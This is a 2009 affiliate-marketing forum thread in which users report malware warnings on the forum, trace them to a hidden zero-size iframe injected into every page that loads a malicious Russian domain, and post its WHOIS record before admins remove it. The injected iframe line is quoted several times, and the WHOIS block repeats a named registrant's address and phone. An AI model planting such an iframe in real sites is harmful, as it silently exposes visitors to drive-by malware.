Malware on WickedFire? - WickedFire - Affiliate Marketing Forum

zimok · 06-12-2009, 08:31 AM

Got this from Chrome right now, legit?

Maitiú · 06-12-2009, 08:35 AM

I'm getting the same with Google Chrome.

Hyasynth · 06-12-2009, 08:38 AM

I'm getting the same on Safari 4

http://www.wickedfire.com/suggestion...-new-post.html

Hyasynth · 06-12-2009, 08:41 AM

I'm getting the same in Safari 4

Lenny · 06-12-2009, 08:47 AM

Code:

<iframe src="http://naemnitibo.in/cn.php?hyc" width="0" height="0"></iframe>

Spades · 06-12-2009, 08:48 AM

Same... with Avast:

evo190 · 06-12-2009, 08:57 AM

Norton just blocked:

HTTP malicious javascript encoder

attacking computer: naemnitibo.in (200.63.45.34)

attacker url: naemnitibo.in/cn.php?hyc

tried to attack me on port 57707

zimok · 06-12-2009, 09:11 AM

If anyone has a mods phone # or Jon's phone, call him and tell them to remove the rogue iframe. Every hour is money in the hands of the crooks.

CygnusX · 06-12-2009, 09:19 AM

My Trend Micro Antivirus is detecting this too. I hope Jon can get it fixed asap.

Spades · 06-12-2009, 09:45 AM

Found it...

Code:

<pre class="alt2" dir="ltr" style="
        margin: 0px;
        padding: 6px;
        border: 1px inset;
        width: 640px;
        height: 34px;
        text-align: left;
        overflow: auto">&lt;iframe src=&quot;http://naemnitibo.in/cn.php?hyc&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;</pre>

Here's the domain info for this stupid fuck. Obviously it's anonymous but I'm hoping Shady will show up soon and dig a little deeper than I can.

Domain Name:NAEMNITIBO.IN
Created On:18-May-2009 15:34:44 UTC
Last Updated On:18-May-2009 15:37:31 UTC
Expiration Date:18-May-2010 15:34:44 UTC
Sponsoring Registrar:Web Commerce Communications Limited dba WebNic.cc (R105-AFIN)
Status:TRANSFER PROHIBITED
Registrant ID:WN13571799T
Registrant Name:Alexander Kalinin
Registrant Organization:Private person
Registrant Street1:ulitsa Dolskaya d.10 kv.33
Registrant Street2:
Registrant Street3:
Registrant City:Moskva
Registrant State/Province:Moskva
Registrant Postal Code:115569
Registrant Country:RU
Registrant Phone:+7.49573431510
Registrant Phone Ext.:
Registrant FAX:+0.0
Registrant FAX Ext.:
Registrant Email:[email protected]
Admin ID:WN13571800T
Admin Name:Alexander Kalinin
Admin Organization:Private person
Admin Street1:ulitsa Dolskaya d.10 kv.33
Admin Street2:
Admin Street3:
Admin City:Moskva
Admin State/Province:Moskva
Admin Postal Code:115569
Admin Country:RU
Admin Phone:+7.49573431510
Admin Phone Ext.:
Admin FAX:+0.0
Admin FAX Ext.:
Admin Email:[email protected]
Tech ID:WN13571801T
Tech Name:Alexander Kalinin
Tech Organization:Private person
Tech Street1:ulitsa Dolskaya d.10 kv.33
Tech Street2:
Tech Street3:
Tech City:Moskva
Tech State/Province:Moskva
Tech Postal Code:115569
Tech Country:RU
Tech Phone:+7.49573431510
Tech Phone Ext.:
Tech FAX:+0.0
Tech FAX Ext.:
Tech Email:[email protected]
Name Server:NS1.NAEMNITIBO.IN
Name Server:NS2.NAEMNITIBO.IN

texic · 06-12-2009, 09:58 AM

Is anyone seeing anything in Firefox? No error here, wondering if it's just because the site is blocked by default.

Sticks79 · 06-12-2009, 10:03 AM

No problems here, WickedFire teh hacked eh!

Spades · 06-12-2009, 10:03 AM

texic, do you have an AV installed? If not, you could easily be infected with whatever this guys pushing around. Download FREE antivirus software - avast! Home Edition

smoosh · 06-12-2009, 10:08 AM

I will ping Jon or Stanley if no one's done it yet... and FF is not detecting any errors.

texic · 06-12-2009, 10:10 AM

I'm running Kaspersky and all my definitions are up to date. Seems that because Firefox blocks the site by default, nothing is ever run.

kblessinggr · 06-12-2009, 10:12 AM

yea i'm getting it on every page of wf on safari 4, basically the embeded url got it flagged as a malware site by association.

mikeiavelli · 06-12-2009, 10:15 AM

my girlfriend's sites got infected recently with something similar (was javascript, not iframes though)

i researched it and basically there is spyware out there that sits idol on people's home computers monitoring FTP ports and sending username/passwords whenever someone logs into an FTP... basic ftp connections aren't encrypted. it's better to use sftp. i cleaned her computer of everything, changed her passwords, and had her switch to sftp before I could get the code to stop popping up every night.

i don't know if that's the problem here, but just a suggestion. i searched for 2-3 days before i figured out that her problems weren't holes in her php scripts or server side stuff....

knukk · 06-12-2009, 10:16 AM

Here's Google's diagnostic page about that website: Google Safe Browsing diagnostic page for naemnitibo.in

knukk · 06-12-2009, 10:17 AM

Quote:

Originally Posted by texic

I'm running Kaspersky and all my definitions are up to date. Seems that because Firefox blocks the site by default, nothing is ever run.

That's true. If you run Firefox it blocks accessing that website until you tell it to do otherwise.

Red_Virus · 06-12-2009, 10:21 AM

I have AVG Internet Security & using Firefox and getting no errors ! is it fixed ?

knukk · 06-12-2009, 10:23 AM

Quote:

Originally Posted by Red_Virus

I have AVG Internet Security & using Firefox and getting no errors ! is it fixed ?

No.

But Firefox has that website on automatic block, so it won't access it without your consent.

kblessinggr · 06-12-2009, 10:25 AM

Quote:

Originally Posted by knukk

Here's Google's diagnostic page about that website: Google Safe Browsing diagnostic page for naemnitibo.in

Quote:

Site is listed as suspicious - visiting this web site may harm your computer.

A lot of hooha as being marked as suspicious. Shame its not a simple matter of putting naemnitibo.in into the hosts file to have it pointed to localhost (since the warnings are triggered by either name and ip)

kblessinggr · 06-12-2009, 10:26 AM

You know, I honestly thought that WF got flagged due to makemoniesonline.com and people who keep thinking its malware... shame my expectations were a bust.

turbolapp · 06-12-2009, 10:33 AM

Quote:

Originally Posted by knukk

No.

But Firefox has that website on automatic block, so it won't access it without your consent.

I have AVG and am on FF as well so I don't see what you guys are talking about either. It requires an admin to fix anyways so I'm pretty useless here.

knukk · 06-12-2009, 10:41 AM

Quote:

Originally Posted by turbolapp

I have AVG and am on FF as well so I don't see what you guys are talking about either. It requires an admin to fix anyways so I'm pretty useless here.

Well, if you want to see for yourself you can go to http://naemnitibo.in. Firefox will block the access and give you the option to enter it if you'd like.

If you take a look into the source code of every page on Wickedfire now, you'll see that an iframe has been imprinted, which loads naemnitibo.in. Maybe it is a bug that has been exploited. The forums over at DevShed have also been attacked by this fuck (see this thread).

kblessinggr · 06-12-2009, 10:56 AM

Quote:

Originally Posted by knukk

Well, if you want to see for yourself you can go to http://naemnitibo.in. Firefox will block the access and give you the option to enter it if you'd like.

If you take a look into the source code of every page on Wickedfire now, you'll see that an iframe has been imprinted, which loads naemnitibo.in. Maybe it is a bug that has been exploited. The forums over at DevShed have also been attacked by this fuck (see this thread).

If it's an iframe, firefox has the warning shown within the iframe itself, as opposed to the parent frame.

invisible777 · 06-12-2009, 11:04 AM

Wow, thank god for Firefox.

This iframing douchebag needs to be hung by his balls.

amfire · 06-12-2009, 11:08 AM

working fine with FF. do not see any warning.

Rage9 · 06-12-2009, 11:11 AM

I didn't see any warning in Firefox either.

knukk · 06-12-2009, 11:15 AM

Quote:

Originally Posted by kblessinggr

If it's an iframe, firefox has the warning shown within the iframe itself, as opposed to the parent frame.

Yes, that's why users of Firefox shouldn't worry even though they haven't seen any warning.

Webferret · 06-12-2009, 11:55 AM

so the question is... what are we going to do to this fuck.

and 'novel' suggestions?

AdHustler · 06-12-2009, 12:01 PM

I'll let Jon know.

puroz · 06-12-2009, 12:16 PM

firefox + noscript + ubuntu = lolz @ virus

Brandon · 06-12-2009, 01:18 PM

Stanley took care of it. Thx for letting us know.

zimok · 06-12-2009, 03:11 PM

Quote:

Originally Posted by Brandon

Stanley took care of it. Thx for letting us know.

No problem, I'll take a 5 minute video of turbolapp walking on her turbostation as my reward.

From this angle please, thanks

turbolapp · 06-12-2009, 03:17 PM

^^Dude. That is so wrong.

My LCD screen is so much bigger than that.

Brandon · 06-12-2009, 03:21 PM

Hahahaha!

Quote:

Originally Posted by turbolapp

^^Dude. That is so wrong.

My LCD screen is much so much bigger than that.

zimok · 06-12-2009, 04:15 PM

Quote:

Originally Posted by turbolapp

^^Dude. That is so wrong.

My LCD screen is much so much bigger than that.

Anything else my princess?

xmcp123 · 06-12-2009, 04:39 PM

Quote:

Originally Posted by Spades

Found it...

Code:

<pre class="alt2" dir="ltr" style="
        margin: 0px;
        padding: 6px;
        border: 1px inset;
        width: 640px;
        height: 34px;
        text-align: left;
        overflow: auto">&lt;iframe src=&quot;http://naemnitibo.in/cn.php?hyc&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;</pre>

Here's the domain info for this stupid fuck. Obviously it's anonymous but I'm hoping Shady will show up soon and dig a little deeper than I can.

Domain Name:NAEMNITIBO.IN
Created On:18-May-2009 15:34:44 UTC
Last Updated On:18-May-2009 15:37:31 UTC
Expiration Date:18-May-2010 15:34:44 UTC
Sponsoring Registrar:Web Commerce Communications Limited dba WebNic.cc (R105-AFIN)
Status:TRANSFER PROHIBITED
Registrant ID:WN13571799T
Registrant Name:Alexander Kalinin
Registrant Organization:Private person
Registrant Street1:ulitsa Dolskaya d.10 kv.33
Registrant Street2:
Registrant Street3:
Registrant City:Moskva
Registrant State/Province:Moskva
Registrant Postal Code:115569
Registrant Country:RU
Registrant Phone:+7.49573431510
Registrant Phone Ext.:
Registrant FAX:+0.0
Registrant FAX Ext.:
Registrant Email:[email protected]
Admin ID:WN13571800T
Admin Name:Alexander Kalinin
Admin Organization:Private person
Admin Street1:ulitsa Dolskaya d.10 kv.33
Admin Street2:
Admin Street3:
Admin City:Moskva
Admin State/Province:Moskva
Admin Postal Code:115569
Admin Country:RU
Admin Phone:+7.49573431510
Admin Phone Ext.:
Admin FAX:+0.0
Admin FAX Ext.:
Admin Email:[email protected]
Tech ID:WN13571801T
Tech Name:Alexander Kalinin
Tech Organization:Private person
Tech Street1:ulitsa Dolskaya d.10 kv.33
Tech Street2:
Tech Street3:
Tech City:Moskva
Tech State/Province:Moskva
Tech Postal Code:115569
Tech Country:RU
Tech Phone:+7.49573431510
Tech Phone Ext.:
Tech FAX:+0.0
Tech FAX Ext.:
Tech Email:[email protected]
Name Server:NS1.NAEMNITIBO.IN
Name Server:NS2.NAEMNITIBO.IN

No matter which way you cut it, the trail goes dead somewhere in Russia. Impossible to verify who's real.
The place is a bulletproof hosting provider.
The only other trail I could see goes to the UK, but the name is "Oleg Orlov"...some human rights politician in Russia. So it's probably just them fucking around.
I could get a little deeper in, but honestly it's a pain in the ass since I can't just visit the URLs.

Stanley · 06-12-2009, 05:14 PM

We removed all traces of the exploit but if it resurfaces send a PM to me & Brandon.

bprimeelite · 06-13-2009, 12:38 AM

ahhh I was hoping this was a digital point type of move where they put 20 iframes per page with amazon, ebay, and other affiliate cookies. I never did get a warning using firefox and AVG on this one though and AVG is usually pretty touchy on iframes.

amanda11 · 06-13-2009, 12:54 AM

OH NOES MALWARE STOLE MAH PASSWORDS.

Seriously, what did the asshole did to my computer.

CPW-Carl · 06-14-2009, 06:07 AM

It was called "security system 2009". Basically it tries to scare you into inputing your credit card details to get rid of spyware it "finds" on your system. Oh the irony.

btalibanned · 06-14-2009, 06:31 AM

Hey hey hey, wtf is going on here? Where's jon? Where's the Official word on whats happenin? Who's responsible for this shit?

It's not me...

dably · 06-14-2009, 09:55 AM

Quote:

Originally Posted by amanda11

OH NOES MALWARE STOLE MAH PASSWORDS.

Seriously, what did the asshole did to my computer.

I'm to lazy to check out the payload but from the sounds of it, security system 2009, is a yet another fake AV. I really want to know how these folks get and keep merchant accounts. The chargeback rate on that stuff has to be insanely high.

Seriously if you got infected with it consider wiping your hard drive there is no telling what they bundled that crap with. Undetected password stealers are a dime a dozen and if you manage your servers from the same computer there is a fair chance you will have your passwords stolen for them and similar malicious code placed on your sites.

Spades · 06-14-2009, 12:08 PM

Quote:

Originally Posted by dably

I'm to lazy to check out the payload but from the sounds of it, security system 2009, is a yet another fake AV. I really want to know how these folks get and keep merchant accounts. The chargeback rate on that stuff has to be insanely high.

Seriously if you got infected with it consider wiping your hard drive there is no telling what they bundled that crap with. Undetected password stealers are a dime a dozen and if you manage your servers from the same computer there is a fair chance you will have your passwords stolen for them and similar malicious code placed on your sites.

I dunno so much about the high chargebacks, you gotta think, peoples systems are completely fucked by the malware and then boom... they pay for the software and it does exactly what it has promised them. Nevertheless, it's a shady ass way of making money. But I doubt it's that hard to maintain a merchants account and i'm sure they bundle their transactions with other (actually legit) products.

xmcp123 · 06-14-2009, 12:30 PM

Quote:

Originally Posted by btalibanned

Hey hey hey, wtf is going on here? Where's jon? Where's the Official word on whats happenin? Who's responsible for this shit?

It's not me...

Not sure where Jon is. But I'm tellin ya anything tryin to track them back via their domain is a failboat.
No way to tell who's a real person in Russia.
No way to tell if the non-russian names are real. Or stolen.
There's a lot more nastiness coming from these guys. It's a minefield trying to find them. And also, there's certain people you just don't out.

06-12-2009, 08:31 AM	#1 (permalink)
zimok Click, Whirr. Join Date: Oct 2008 Location: Canada Posts: 1,844 iTrader: 0 / 0%	Malware on WickedFire? Got this from Chrome right now, legit? Share Share this post on Digg Del.icio.us Technorati Twitter __________________ If you don't think you have anything to be grateful for, you're not thinking.

06-12-2009, 08:35 AM	#2 (permalink)
Maitiú + Join Date: Dec 2008 Location: Ireland Posts: 314 iTrader: 17 / 100%	I'm getting the same with Google Chrome. Share Share this post on Digg Del.icio.us Technorati Twitter __________________ Your bad vibe will drive away your tribe

06-12-2009, 08:38 AM	#3 (permalink)
Hyasynth Junior Member Join Date: Jun 2009 Posts: 4 iTrader: 0 / 0%	I'm getting the same on Safari 4 http://www.wickedfire.com/suggestion...-new-post.html Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 08:41 AM	#4 (permalink)
Hyasynth Junior Member Join Date: Jun 2009 Posts: 4 iTrader: 0 / 0%	I'm getting the same in Safari 4 Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 08:47 AM	#5 (permalink)
Lenny Member Join Date: Jan 2008 Posts: 66 iTrader: 2 / 100%	Code: <iframe src="http://naemnitibo.in/cn.php?hyc" width="0" height="0"></iframe> Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 08:48 AM	#6 (permalink)
Spades Senior Member Join Date: Mar 2007 Location: Florida Posts: 616 iTrader: 0 / 0%	Same... with Avast: Share Share this post on Digg Del.icio.us Technorati Twitter __________________

06-12-2009, 08:57 AM	#7 (permalink)
evo190 sudo make money Join Date: May 2009 Location: Shitbridge NJ Posts: 296 iTrader: 0 / 0%	Norton just blocked: HTTP malicious javascript encoder attacking computer: naemnitibo.in (200.63.45.34) attacker url: naemnitibo.in/cn.php?hyc tried to attack me on port 57707 Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 09:11 AM	#8 (permalink)
zimok Click, Whirr. Join Date: Oct 2008 Location: Canada Posts: 1,844 iTrader: 0 / 0%	If anyone has a mods phone # or Jon's phone, call him and tell them to remove the rogue iframe. Every hour is money in the hands of the crooks. Share Share this post on Digg Del.icio.us Technorati Twitter __________________ If you don't think you have anything to be grateful for, you're not thinking.

06-12-2009, 09:19 AM	#9 (permalink)
CygnusX Senior Member Join Date: Mar 2007 Posts: 639 iTrader: 6 / 100%	My Trend Micro Antivirus is detecting this too. I hope Jon can get it fixed asap. Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 09:45 AM	#10 (permalink)
Spades Senior Member Join Date: Mar 2007 Location: Florida Posts: 616 iTrader: 0 / 0%	Found it... Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px inset; width: 640px; height: 34px; text-align: left; overflow: auto"><iframe src="http://naemnitibo.in/cn.php?hyc" width="0" height="0"></iframe></pre> Here's the domain info for this stupid fuck. Obviously it's anonymous but I'm hoping Shady will show up soon and dig a little deeper than I can. Domain Name:NAEMNITIBO.IN Created On:18-May-2009 15:34:44 UTC Last Updated On:18-May-2009 15:37:31 UTC Expiration Date:18-May-2010 15:34:44 UTC Sponsoring Registrar:Web Commerce Communications Limited dba WebNic.cc (R105-AFIN) Status:TRANSFER PROHIBITED Registrant ID:WN13571799T Registrant Name:Alexander Kalinin Registrant Organization:Private person Registrant Street1:ulitsa Dolskaya d.10 kv.33 Registrant Street2: Registrant Street3: Registrant City:Moskva Registrant State/Province:Moskva Registrant Postal Code:115569 Registrant Country:RU Registrant Phone:+7.49573431510 Registrant Phone Ext.: Registrant FAX:+0.0 Registrant FAX Ext.: Registrant Email:[email protected] Admin ID:WN13571800T Admin Name:Alexander Kalinin Admin Organization:Private person Admin Street1:ulitsa Dolskaya d.10 kv.33 Admin Street2: Admin Street3: Admin City:Moskva Admin State/Province:Moskva Admin Postal Code:115569 Admin Country:RU Admin Phone:+7.49573431510 Admin Phone Ext.: Admin FAX:+0.0 Admin FAX Ext.: Admin Email:[email protected] Tech ID:WN13571801T Tech Name:Alexander Kalinin Tech Organization:Private person Tech Street1:ulitsa Dolskaya d.10 kv.33 Tech Street2: Tech Street3: Tech City:Moskva Tech State/Province:Moskva Tech Postal Code:115569 Tech Country:RU Tech Phone:+7.49573431510 Tech Phone Ext.: Tech FAX:+0.0 Tech FAX Ext.: Tech Email:[email protected] Name Server:NS1.NAEMNITIBO.IN Name Server:NS2.NAEMNITIBO.IN Share Share this post on Digg Del.icio.us Technorati Twitter __________________

06-12-2009, 09:58 AM	#11 (permalink)
texic Senior Member Join Date: Jan 2009 Location: The Internet Posts: 210 iTrader: 0 / 0%	Is anyone seeing anything in Firefox? No error here, wondering if it's just because the site is blocked by default. Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 10:03 AM	#13 (permalink)
Spades Senior Member Join Date: Mar 2007 Location: Florida Posts: 616 iTrader: 0 / 0%	texic, do you have an AV installed? If not, you could easily be infected with whatever this guys pushing around. Download FREE antivirus software - avast! Home Edition Share Share this post on Digg Del.icio.us Technorati Twitter __________________

06-12-2009, 10:08 AM	#14 (permalink)
smoosh Senior Member Join Date: Nov 2007 Location: NYC Posts: 146 iTrader: 0 / 0%	I will ping Jon or Stanley if no one's done it yet... and FF is not detecting any errors. Share Share this post on Digg Del.icio.us Technorati Twitter __________________ Whatever you do - do NOT milk the bull! "Pickles of Thunder!" - still in development... "Put some thunder in your pickle!" - Buy Viagra today! Ebooks - virtual content guaranteed to make you a virtual billionaire....virtually...

06-12-2009, 10:10 AM	#15 (permalink)
texic Senior Member Join Date: Jan 2009 Location: The Internet Posts: 210 iTrader: 0 / 0%	I'm running Kaspersky and all my definitions are up to date. Seems that because Firefox blocks the site by default, nothing is ever run. Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 10:12 AM	#16 (permalink)
kblessinggr PedoBeard Join Date: Sep 2008 Location: G.R., Michigan Posts: 5,774 iTrader: 26 / 96%	yea i'm getting it on every page of wf on safari 4, basically the embeded url got it flagged as a malware site by association. Share Share this post on Digg Del.icio.us Technorati Twitter __________________ Twitter Facebook Blog IonVz - Managed VPS (starting at 34.99/month) and Shared (39.99/year) hosting. Directadmin only $10(non-recurring/one-time). We manage Nginx webservers. Why Nginx? I can Fix, Slice, Configure or Install your Site/Server

06-12-2009, 10:15 AM	#17 (permalink)
mikeiavelli Member Join Date: May 2009 Posts: 36 iTrader: 0 / 0%	my girlfriend's sites got infected recently with something similar (was javascript, not iframes though) i researched it and basically there is spyware out there that sits idol on people's home computers monitoring FTP ports and sending username/passwords whenever someone logs into an FTP... basic ftp connections aren't encrypted. it's better to use sftp. i cleaned her computer of everything, changed her passwords, and had her switch to sftp before I could get the code to stop popping up every night. i don't know if that's the problem here, but just a suggestion. i searched for 2-3 days before i figured out that her problems weren't holes in her php scripts or server side stuff.... Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 10:21 AM	#20 (permalink)
Red_Virus Support: +1(347) 417-5786 Join Date: Jun 2007 Posts: 2,260 iTrader: 731 / 100%	I have AVG Internet Security & using Firefox and getting no errors ! is it fixed ? Share Share this post on Digg Del.icio.us Technorati Twitter __________________ Over 1400 reviews posted for my 100 Dofollow Social Bookmarking Service : $19/URL (3 sites only per social bookmarking account). - PM me for discounts on BULK orders.

06-12-2009, 10:26 AM	#23 (permalink)
kblessinggr PedoBeard Join Date: Sep 2008 Location: G.R., Michigan Posts: 5,774 iTrader: 26 / 96%	You know, I honestly thought that WF got flagged due to makemoniesonline.com and people who keep thinking its malware... shame my expectations were a bust. Share Share this post on Digg Del.icio.us Technorati Twitter __________________ Twitter Facebook Blog IonVz - Managed VPS (starting at 34.99/month) and Shared (39.99/year) hosting. Directadmin only $10(non-recurring/one-time). We manage Nginx webservers. Why Nginx? I can Fix, Slice, Configure or Install your Site/Server

06-12-2009, 11:04 AM	#27 (permalink)
invisible777 Senior Member Join Date: Jul 2007 Posts: 1,318 iTrader: 2 / 100%	Wow, thank god for Firefox. This iframing douchebag needs to be hung by his balls. Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 11:08 AM	#28 (permalink)
amfire Senior Member Join Date: Jan 2009 Location: Internetz Posts: 321 iTrader: 62 / 100%	working fine with FF. do not see any warning. Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 11:11 AM	#29 (permalink)
Rage9 #1 Soccer Hater Join Date: Jan 2008 Posts: 4,926 iTrader: 13 / 93%	I didn't see any warning in Firefox either. Share Share this post on Digg Del.icio.us Technorati Twitter __________________ MadPPC.com - PPC, PHP, and other Affiliate Marketing tips. It's OK to be MAD!

06-12-2009, 11:55 AM	#31 (permalink)
Webferret Banned Join Date: Jun 2007 Posts: 1,262 iTrader: 0 / 0%	so the question is... what are we going to do to this fuck. and 'novel' suggestions? Share Share this post on Digg Del.icio.us Technorati Twitter

06-12-2009, 12:01 PM	#32 (permalink)
AdHustler Join Date: Aug 2007 Posts: 4,045 iTrader: 6 / 100%	I'll let Jon know. Share Share this post on Digg Del.icio.us Technorati Twitter __________________ AdHustler.com - Every Day I'm Hustlin'

06-12-2009, 12:16 PM	#33 (permalink)
puroz IM Phoenix. Burn baby Join Date: Jun 2008 Posts: 250 iTrader: 15 / 100%	firefox + noscript + ubuntu = lolz @ virus Share Share this post on Digg Del.icio.us Technorati Twitter __________________

06-12-2009, 01:18 PM	#34 (permalink)
Brandon Join Date: Jun 2006 Posts: 698 iTrader: 7 / 100%	Stanley took care of it. Thx for letting us know. Share Share this post on Digg Del.icio.us Technorati Twitter __________________ "Let me tell you what Melba Toast is packin' right here, all right. We got 4:11 Positrac outback, 750 double pumper, Edelbrock intake, bored over 30, 11 to 1 pop-up pistons, turbo-jet 390 horsepower. We're talkin' some fuckin' muscle." - Wooderson

06-12-2009, 03:17 PM	#36 (permalink)
turbolapp Join Date: Aug 2007 Location: Houston, TexASS Posts: 8,146 iTrader: 7 / 100%	^^Dude. That is so wrong. My LCD screen is so much bigger than that. Share Share this post on Digg Del.icio.us Technorati Twitter Last edited by turbolapp; 06-12-2009 at 04:42 PM..

06-12-2009, 05:14 PM	#40 (permalink)
Stanley Join Date: Jun 2006 Location: San Diego Posts: 3,418 iTrader: 3 / 100%	We removed all traces of the exploit but if it resurfaces send a PM to me & Brandon. Share Share this post on Digg Del.icio.us Technorati Twitter

06-13-2009, 12:38 AM	#41 (permalink)
bprimeelite Senior Member Join Date: May 2009 Posts: 776 iTrader: 2 / 100%	ahhh I was hoping this was a digital point type of move where they put 20 iframes per page with amazon, ebay, and other affiliate cookies. I never did get a warning using firefox and AVG on this one though and AVG is usually pretty touchy on iframes. Share Share this post on Digg Del.icio.us Technorati Twitter

06-13-2009, 12:54 AM	#42 (permalink)
amanda11 Hustle hard Join Date: Nov 2007 Posts: 2,441 iTrader: 0 / 0%	OH NOES MALWARE STOLE MAH PASSWORDS. Seriously, what did the asshole did to my computer. Share Share this post on Digg Del.icio.us Technorati Twitter

06-14-2009, 06:07 AM	#43 (permalink)
CPW-Carl Senior Member Join Date: May 2008 Location: NSW, Australia Posts: 466 iTrader: 21 / 96%	It was called "security system 2009". Basically it tries to scare you into inputing your credit card details to get rid of spyware it "finds" on your system. Oh the irony. Share Share this post on Digg Del.icio.us Technorati Twitter

06-14-2009, 06:31 AM	#44 (permalink)
btalibanned Banned Join Date: Mar 2008 Posts: 37 iTrader: 0 / 0%	Hey hey hey, wtf is going on here? Where's jon? Where's the Official word on whats happenin? Who's responsible for this shit? It's not me... Share Share this post on Digg Del.icio.us Technorati Twitter

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode

Similar Threads
Thread	Thread Starter	Forum	Replies	Last Post
Where WickedFire took you or can take you !?	NYDAz	Shooting The Shit	19	09-26-2008 01:24 AM
New WickedFire Report	Jon	Shooting The Shit	38	11-21-2007 06:04 AM
matt Cutts: how google handles malware..very informative	Armpitpatal	Affiliate Marketing	4	05-21-2007 04:56 PM